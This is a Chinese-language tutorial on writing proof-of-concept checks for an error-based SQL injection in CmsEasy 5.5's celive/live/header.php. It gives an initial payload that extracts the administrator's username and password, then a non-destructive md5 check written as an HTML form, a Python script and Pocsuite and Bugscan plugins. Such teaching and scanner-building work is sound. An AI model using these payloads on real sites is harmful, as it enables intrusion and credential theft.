基于报错的 SQL 注入 PoC 编写

这次我们选择的漏洞为 CmsEasy 5.5 UTF-8 20140802/celive/live/header.php SQL注入漏洞

漏洞分析

漏洞分析在原文已经说的很详细了,大可以回原文查看。

我们在编写 PoC 的时候,如果原文中已经给出了具体的利用办法,我们就无需再关注整个漏洞的成因和原理,我们只用看这个漏洞的复现方式。

阅读原文后我们得到了 payload 和 目标 URL.

请求的链接:

http://xxx.com/celive/live/header.php

POST 数据内容:

xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(username,0x23,password) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#

漏洞复现

一般来说不推荐使用已经在线的站点做测试,因为一旦目标跑了一个比较重要的业务,倘若出了点问题,会对目标造成不可估量的损害。

实验所需要 CMS 的下载地址:下载地址

读者下载完安装包后,按照官方说明安装 CmsEasy 安装包。安装过程就不在此缀述。我将 其安装在网站目录下的 cmseasy 目录中。

安装完毕后,我们就可以进行手工复现利用过程了。

该漏洞的注入点在 POST 数据部分,我们需要发起一个 POST 请求,我们选择 Firefox 浏览器和 HackBar 插件。填上目标 url 和 payload,然后发送。可以看到返回页面报错,而报错信息中出现了 cmseasy_user 表中的数据(图 3-1)。

图 3-1

既然已经成功复现,那就可以进行 PoC 的编写了。

无框架 PoC 编写

按理来说,这个 Payload 是已经可以证明漏洞存在了,但是,如果将 PoC 应用到扫描类的产品当中时,这些 Payload 原则上是不允许的。很多人一开始也不会注意这些。我们要注意下面几个原则:

  • 无损扫描

    也就是要求不能对目标服务器有任何危害,所以我们在扫描的时候,是不能够把目标管理员的账号和密码直接注出到扫描报告当中的,但是我们要证明目标存在漏洞,所以我们只要能证明可以执行 SQL 指令就好了,比如:

    mysql> select char(77,101,100,105);
    
    +----------------------+
    | char(77,101,100,105) |
    +----------------------+
    | Medi                 |
    +----------------------+
    1 row in set (0.00 sec)
    

    呐,就像上面代码中的那样。如果 'Medi' 这个字符串出现在了返回的页面中,那就证明我们的指令执行了。

  • 减少误报漏报

    误报和漏报两者相伴相随。找漏洞这事,就和警察叔叔抓犯罪嫌疑人一样,漏报率低了,那么误报率就高了,嗯,你把全中国的人都抓了,里面肯定有潜逃的罪犯。如果误报率低了,那么相对的,漏报率就上去了,还是警察叔叔抓坏人,一抓一个准,但是这样的话,肯定就会有很多漏网之鱼了。所以就需要找到一个平衡点。

    一般来说,大部分人追求的原则是可以漏报,但不能误报。你愿意走在路上给人抓去当嫌犯嘛。

    那么再回来看上面说的,如果我们检测页面返回的内容当中有 'Medi', 那就证明存在注入,这么去检测的话,这误报率简直高到要爆表啊,不信你检测下我的博客,保证你每一条链接都报注入。因为我的博客的每一个链接返回的页面里面都会带有 'Medi' 这个字符。

    那么这就要求我们判断的字符串在正常的页面中要尽可能不会经常出现。比如我们会输出一串 md5 的值到页面中

    mysql> select md5(123);
    

    这样就能百分百的说不会误报了吗?当然不可能。如果那个页面就是闲的慌输出了一串和你判断逻辑一样的 md5 的值,那你不就傻了?但是这也是无法避免的,可是这种巧合实在是太少见了

哦,最后再多说两句,为什么选 md5 呢,因为 mysql 里面有 md5 这个函数呀,写起来多简单呀,要是像 Oracle 数据库里面没 md5 这个函数怎么办呢?往上瞅瞅,看到了没?我们有 char() 函数(Oracle 里面是 chr()),可以把 ASCII 码转化成字符串,明白了吧?手动多打几个随机字符就好啦。

好了,来看看我们修改之后的 Payload :

请求的链接:

http://xxx.com/celive/live/header.php

POST 数据内容:

xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select md5(233)))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2') #

md5(233) 的值就是 e165421110ba03099a1c0393373c5b43

图 3-2

好吧来写 PoC 了。

目的是发送一个 POST 请求,于是我们写一个可以发送 POST 数据的程序:

代码 3_2_1.html:

<form action="http://localhost/cmseasy/celive/live/header.php" method="post">
<input type="hidden" name="xajax" value="LiveMessage" />
<input type="hidden" name="xajaxargs[0][name]" value="1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select md5(233)))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2') #" />
<input type="submit" value="GO"/>
</form>

将上面的代码保存成 3_2_1.html 然后用浏览器打开(如图 3-3)。

图 3-3

然后点击按钮提交,看效果达到了吧?(如图 3-4)

图3-4

呐,上面那段 HTML 的代码,就是所谓的 PoC 了。

WTF? 这玩意儿就是 PoC ?

是的你没有看错,这就是 PoC。是不是太简单了?我一开始就说过,PoC 是证明漏洞存在的代码,而代码实现起来,是没有语言之分的。

好吧,道理讲明白了,那还是看看 Python 是怎么实现的吧。

代码 3_2_2.py:

#!/usr/bin/env python
# coding:utf-8
import urllib2
import urllib
import sys
import hashlib


def verify(url):
    target = "%s/celive/live/header.php" % url
    # 要发送的数据
    post_data = {
        'xajax': 'LiveMessage',
        'xajaxargs[0][name]': "1',(SELECT 1 FROM (select count(*),concat("
                              "floor(rand(0)*2),(select md5(233)))a from "
                              "information_schema.tables group by a)b),"
                              "'','','','1','127.0.0.1','2') #"
    }
    try:
        # 发送 HTTP 请求
        req = urllib2.Request(target, data=urllib.urlencode(post_data))
        response = urllib2.urlopen(req)
        if response:
            # 处理 响应
            data = response.read()
            if hashlib.md5('233').hexdigest() in data:
                print "%s is vulnerable" % target
            else:
                print "%s is not vulnerable" % target
    except Exception, e:
        print "Something happend..."
        print e


def main():
    args = sys.argv
    url = ""

    if len(args) == 2:
        url = args[1]
        verify(url)
    else:
        print "Usage: python %s url" % (args[0])

if __name__ == '__main__':
    main()

将上述代码保存为 3_2_2.py 然后执行 python 3_2_2.py http://localhost/cmseasy/ 可以看到下面的结果:

~ python 3_2_2.py http://localhost/cmseasy/
http://localhost/cmseasy//celive/live/header.php is vulnerable

然后我们试着换一个其它的 url :

~ python 3_2_2.py http://localhost/
Something happend...
HTTP Error 404: Not Found

呐,这时候返回了 404 错误,嗯,代码3_2_2.py 就是这个漏洞的 python 语言的 PoC 了。

下面简单讲一下这个代码做了什么:

main 方法里面大概处理了一下用户的输入

verify 方法里面先是拼接了一下要发送的目的 url, 然后把 post_data(也就是我们的 Payload)发送到目的 url, 最后再处理了一下服务端的响应页面。

怎么样?是不是感觉整个过程就像是你自己在用浏览器去手工验证一样?

当然上述的代码,实际运行的时候还是需要改进的,毕竟有很多细节的地方还需要再完善。比如说我们的输入部分,试想一下啊,每一个 PoC 都要你自己去写一下这个输入代码,假设你有 10000W 个 PoC, 天呐这要浪费我多少存储空间啊,这太冗佘了吧,而且你想让每个人都能想到那么多特殊情况,是不是很不现实,毕竟有很多人想不到这么些个情况。

你说,老子有钱,不怕占空间。

好,那再看,上面的那些代码,输出结果的时候,就用了一个 print , 显然这样的输出很不友好,而且一个 PoC 还不能支持批量扫描,如果你想加载多个 PoC 去扫描多个目标的时候,这样的代码会让你抓狂的。

于是,就有了 PoC 框架,有效避免了你重复造轮子,帮你处理输入,帮你处理输出,专业的事情交给专业的人去做,然后 BalaBala...

基于 Pocsuite 框架

代码3_2_2.py中使用了 Python 标准库中的 urllib2 来发送 HTTP 请求,而在 Pocsuite 中,框架要求使用 Pocsuite 框架封装好的 req , 其实它就是 python 的 requests 库,具体的用法直接看 requests 帮助文档就好了。

为什么不让你在 PoC 中直接 import requests 呢?上面我已经说过了,哦,好像没说,我们在批量的时候,有一些站为了防机器人,需要看你有没有 HTTP 请求头的,比如有一些 WAF 会检测请求中是否有 User-Agent, 对,就是怕有些人忘记了,于是框架就处理了这些啊。再比如,你这个 PoC 中需要 Cookie ,你总不能在扫描的时候弹一个框让用户写 Cookie 吧,那你批量的时候不累死用户了。对,这些东西,框架都帮你解决了。

好了看代码:

代码 3_2_3.py:

#!/usr/bin/env python
# coding: utf-8

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class CmsEasyPoC(POCBase):
    vulID = '88979'
    version = '1'
    author = ['Medici.Yan']
    vulDate = '2014-10-22'
    createDate = '2015-12-28'
    updateDate = '2015-12-28'
    references = ['http://wooyun.org/bugs/wooyun-2010-070827']
    name = 'CMSEasy 5.5 /celive/live/header.php SQL注入漏洞 POC'
    appPowerLink = 'http://www.cmseasy.cn/'
    appName = 'CMSEasy'
    appVersion = '5.5'
    vulType = 'SQL Injection'
    desc = '''
           开发人员在修补漏洞的时候只修复了少数的变量而遗漏了其他变量,使其他变量直接
           带入了SQL语句中,可以通过\字符来转义掉一个单引号,逃逸单引号,产生SQL注入。
           此注入为报错注入,可以通过UpdateXML函数进行注入。
    '''
    samples = ['']

    def _verify(self):
        result = {}
        target = self.url + '/celive/live/header.php'
        post_data = {
            'xajax': 'LiveMessage',
            'xajaxargs[0][name]': "1',(SELECT 1 FROM (select count(*),concat("
                                  "floor(rand(0)*2),(select md5(233)))a from "
                                  "information_schema.tables group by a)b),"
                                  "'','','','1','127.0.0.1','2') #"
        }
        # 使用 requests 发送 post 请求
        response = req.post(target, data=post_data, timeout=10)
        content = response.content
        # 这个 e165421110ba03099a1c0393373c5b43 就是 md5(233) 的值
        if 'e165421110ba03099a1c0393373c5b43' in content:
            result = {'VerifyInfo': {}}
            result['VerifyInfo']['URL'] = target

        return self.parse_result(result)

    def _attack(self):
        return self._verify()

    def parse_result(self, result):
        output = Output(self)

        if result:
            output.success(result)
        else:
            output.fail('Internet Nothing returned')

        return output


register(CmsEasyPoC)

将上面的代码保存为 3_2_3.py 然后下载 Pocsuite 框架后,用 Pocsuite 框架执行我们的 PoC, 执行结果如图 2-5:

图 3-5

本想在注释里面解释一下的,写完发现代码实在是太乱了,于是我还是放下面解释吧。

我们先看一下代码整体结构:

#!/usr/bin/env python
# coding: utf-8

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class CmsEasyPoC(POCBase):
    def _verify(self):
        ...
    def _attack(self):
        ...
    def parse_result(self, result):
        ...
register(CmsEasyPoC)

最上面是引入一些类库,中部是一个 PoC 的类,继承自 POCBase 类,类中有两个函数,_verify_attack ,这两个分别是 verify 和 attack 模式的入口函数,然后还有一个用户自己定义的函数 parse_result , 用于统一输出。

下面是针对每个具体的部分的说明,其实在人家框架里面已经有详细说明了,我重复一下。

#!/usr/bin/env python
# coding: utf-8

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

上面这些代码的意思是引入 pocsuite 的类库,当然你直接去按目录找肯定是找不到的,因为这个是老版本的 pocsuite 框架的目录结构,为了兼容老版本的就这么处理了。在加载的时候会自动将其替换成正确的路径。总结起来就一句话,人这么规定的你就这么写就对了。

class CmsEasyPoC(POCBase):
    vulID = '88979'
    version = '1'
    author = ['Medici.Yan']
    vulDate = '2014-10-22'
    createDate = '2015-12-28'
    updateDate = '2015-12-28'
    references = ['http://wooyun.org/bugs/wooyun-2010-070827']
    name = 'CMSEasy 5.5 /celive/live/header.php SQL注入漏洞 POC'
    appPowerLink = 'http://www.cmseasy.cn/'
    appName = 'CMSEasy'
    appVersion = '5.5'
    vulType = 'SQL Injection'
    desc = '''
           开发人员在修补漏洞的时候只修复了少数的变量而遗漏了其他变量,使其他变量直接
           带入了SQL语句中,可以通过\字符来转义掉一个单引号,逃逸单引号,产生SQL注入。
           此注入为报错注入,可以通过UpdateXML函数进行注入。
    '''
    samples = ['']

这一部分代码,用于填写一些基础信息,PoC 多的情况下很有用的。根据漏洞实际情况填写就行了。

def _verify(self):
    result = {}
    target = self.url + '/celive/live/header.php'
    post_data = {
        'xajax': 'LiveMessage',
        'xajaxargs[0][name]': "1',(SELECT 1 FROM (select count(*),concat("
                              "floor(rand(0)*2),(select md5(233)))a from "
                              "information_schema.tables group by a)b),"
                              "'','','','1','127.0.0.1','2') #"
    }
    # 使用 requests 发送 post 请求
    response = req.post(target, data=post_data, timeout=10)
    content = response.content
    # 这个 e165421110ba03099a1c0393373c5b43 就是 md5(233) 的值
    if 'e165421110ba03099a1c0393373c5b43' in content:
        result = {'VerifyInfo': {}}
        result['VerifyInfo']['URL'] = target

    return self.parse_result(result)

这里就是具体的 verify 的代码了。如果你看过 代码 3_2_2.py ,那么这段代码对你来说并不是问题,与代码 3_2_2.py 不同的是,这里使用了 req 来发送数据,还有一处不同的就是输出不再是 print 了,而是将我们要输出的信息保存在了一个叫 result 的字典里面,然后再调用 parse_result 将其输出。

def _attack(self):
    return self._verify()

这里是 attack 模式的入口,这个是带有攻击性质的验证模式,也就是说,在这个函数里面,你可以直接注出管理员密码出来。相对于 _verify 来说,这个就稍微复杂了那么一丢丢。我偷了个懒不想写了,就让它返回 verify 了。

def parse_result(self, result):
    output = Output(self)

    if result:
        output.success(result)
    else:
        output.fail('Internet Nothing returned')

    return output

这个函数,是我自己定义的一个函数,有些人有问题,到底能不能自己定义函数,答案就是 能!记住,_verify_attack 是入口,也就是框架要调用这两个函数,程序执行进来了以后,你想怎么调用就怎么调用。

关于这里面的代码,就是调用了框架输出的实例 Output 了而已。

register(CmsEasyPoC)

这是最后,也是比较容易忽视的地方,一定要注意在最后要调用 register 来注册你的 PoC 类,这样框架才知道你这个类是 PoC 类,就会去调用它。

基于 Bugscan 框架

讲完了 Pocsuite 现在就来说说怎么将我们的代码 3_2_2.py 改写成基于 Bugscan 框架的 PoC。

Bugscan 框架要求所有的逻辑代码都必须是基于 Python 2.7 的标准库的,所以像 requests 这种第三方库就不能在这里使用了。

Bugscan 提供了一个自己 sdk 封装好的 HTTP 请求发送工具 miniCurl,经历过一次改版后又提供了 miniCurl2, curl2 相比其它类库最大的特点是支持 raw 类型数据,也就是说,你从 burpsuite 里面截到的包直接复制出来就能直接发送,这大大方便了安全人员编写 PoC ,然而我并不喜欢这种方式,后面会讲讲这个东西怎么用。

官方出了更好用的 curl2 所以 curl 我就不在这里讲了。关于 miniCurl2 的用法,详细看这里

代码 3_2_4.py:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# __author__ = 'Medici.Yan'

import urllib


def assign(service, arg):
    if service == "cmseasy":
        return True, arg


def audit(arg):
    target = arg + '/celive/live/header.php'
    post_data = {
        'xajax': 'LiveMessage',
        'xajaxargs[0][name]': "1',(SELECT 1 FROM (select count(*),concat("
                              "floor(rand(0)*2),(select md5(233)))a from "
                              "information_schema.tables group by a)b),"
                              "'','','','1','127.0.0.1','2') #"
    }
    code, head, body, errcode, redirect_url = curl.curl2(
        target, post=urllib.urlencode(post_data))
    if 'e165421110ba03099a1c0393373c5b43' in body:
        security_hole(target)

if __name__ == '__main__':
    from dummy import *
    audit(assign('cmseasy', 'http://localhost/cmseasy/')[1])

我们下载 Bugscan 官方 sdk 之后,将其解压,sdk 目录下有一个 dummy 目录,我们将 dummy 目录拷贝到和 2_2_4.py 在相同目录下:

➜  3-2  ll
total 24
-rw-r--r--   1 medicean  staff   1.2K 12 28 10:54 3_2_2.py
-rw-r--r--   1 medicean  staff   2.2K 12 28 14:23 3_2_3.py
-rw-r--r--   1 medicean  staff   878B 12 28 14:23 3_2_4.py
drwxr-xr-x@  5 medicean  staff   170B 10 27 18:30 dummy

代码 3_2_4.pyif __name__ == '__main__': 部分已经指定了我们待测试的目标地址。然后我们执行 3_2_4.py,看到如下结果:

➜  2-2  python 3_2_4.py
[LOG] <hole> http://localhost/cmseasy//celive/live/header.php

看到这个就是执行成功了。本地是以 log 形式输出的,这玩意在网页上就会以扫描报告形式输出的。

好吧我们直接看代码结构了:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# __author__ = 'Medici.Yan'

import urllib


def assign(service, arg):
    if service == "cmseasy":
        return True, arg


def audit(arg):
    ...

if __name__ == '__main__':
    from dummy import *
    audit(assign('cmseasy', 'http://localhost/cmseasy/')[1])

整体结构就像上面说的那样,最上面,是引入自己要用到的标准库,assign 就是任务分配函数,是来判断本次扫描任务是否可以调用这个 PoC 的, audit 就是整个验证逻辑的入口了,最下面的 if __name__ == '__main__': 这段代码是为了让你在本地测试用的。

好了,看下具体的部分吧。

def assign(service, arg):
    if service == "cmseasy":
        return True, arg

这就是 assign 部分的代码了,Bugscan 在扫描任务开始的时候,会先去识别组件是什么样的 CMS ,然后再调用相对应的 PoC 去检测是否有对应的漏洞,你想啊,你用一个 CmsEasy 特有的漏洞的 PoC 去验证 WordPress 搭的一个站, 你这不是搞笑嘛?大部分情况下都不会有啊。

service 就是这个指纹识别的结果,类型是个字符串。具体支持什么,你去看官方文档就好了。这里我们直接写 cmseasy ,看代码逻辑啊,如果我们的 service 识别出来是 cmseasy , 那么就返回一个列表 (True, arg) 这里的 arg 就是 url 了。

def audit(arg):
    target = arg + '/celive/live/header.php'
    post_data = {
        'xajax': 'LiveMessage',
        'xajaxargs[0][name]': "1',(SELECT 1 FROM (select count(*),concat("
                              "floor(rand(0)*2),(select md5(233)))a from "
                              "information_schema.tables group by a)b),"
                              "'','','','1','127.0.0.1','2') #"
    }
    code, head, body, errcode, redirect_url = curl.curl2(
        target, post=urllib.urlencode(post_data))
    if 'e165421110ba03099a1c0393373c5b43' in body:
        security_hole(target)

根据 main 里面的 audit(assign('cmseasy', 'http://localhost/cmseasy/')[1]) 我们知道, audit 的 arg 参数就是初始的 url 。

呐,我已经不想解释了,你和代码 3_2_2.py 对比下吧。区别有两点,第一个就是发送数据使用了 curl.curl2, 这个的用法看官方说明 然后就是输出不再是 print 而是调用了 security_hole 来输出我们想要输出的字符串。

security_hole 是高危,在网页上显示红色

security_warning 是中危,黄色

security_info 低危,蓝色

security_note 信息收集,绿色

好了,基于 Bugscan 框架的 PoC 编写也讲完了。

小结

本小节中主要讲了 基于报错的 SQL 注入 PoC 编写,也就是针对有回显的 SQL 注入,我们 PoC 模拟了浏览器提交数据的这一过程,我们判断是否存在漏洞的依据就是看返回页面的内容是否有我们预期的值。

这里要注意的就是,我们判断的凭据不是说我提交了 abcde 到目标服务器,目标返回一个 abcde 就可以了,而是要证明我们的代码执行了,所以可以提交 ASCII 码到服务器,如果返回了对应的字符,就证明了可以执行。而为了减少误报,本着概率的角度,我们要使用稍微长的一个随机字符串(一定要注意随机,比如一个很长的单词 Christmas 就不行,这种有意义的字符串出现的概率有些大)。

有 md5 函数时,我们就可以在 payload 中执行 md5 函数,如果没有,就使用 char(xx)组合的形式。


2015/12/29 感谢 喵小姐指正

2016/01/11 新增 sqli-labs 推荐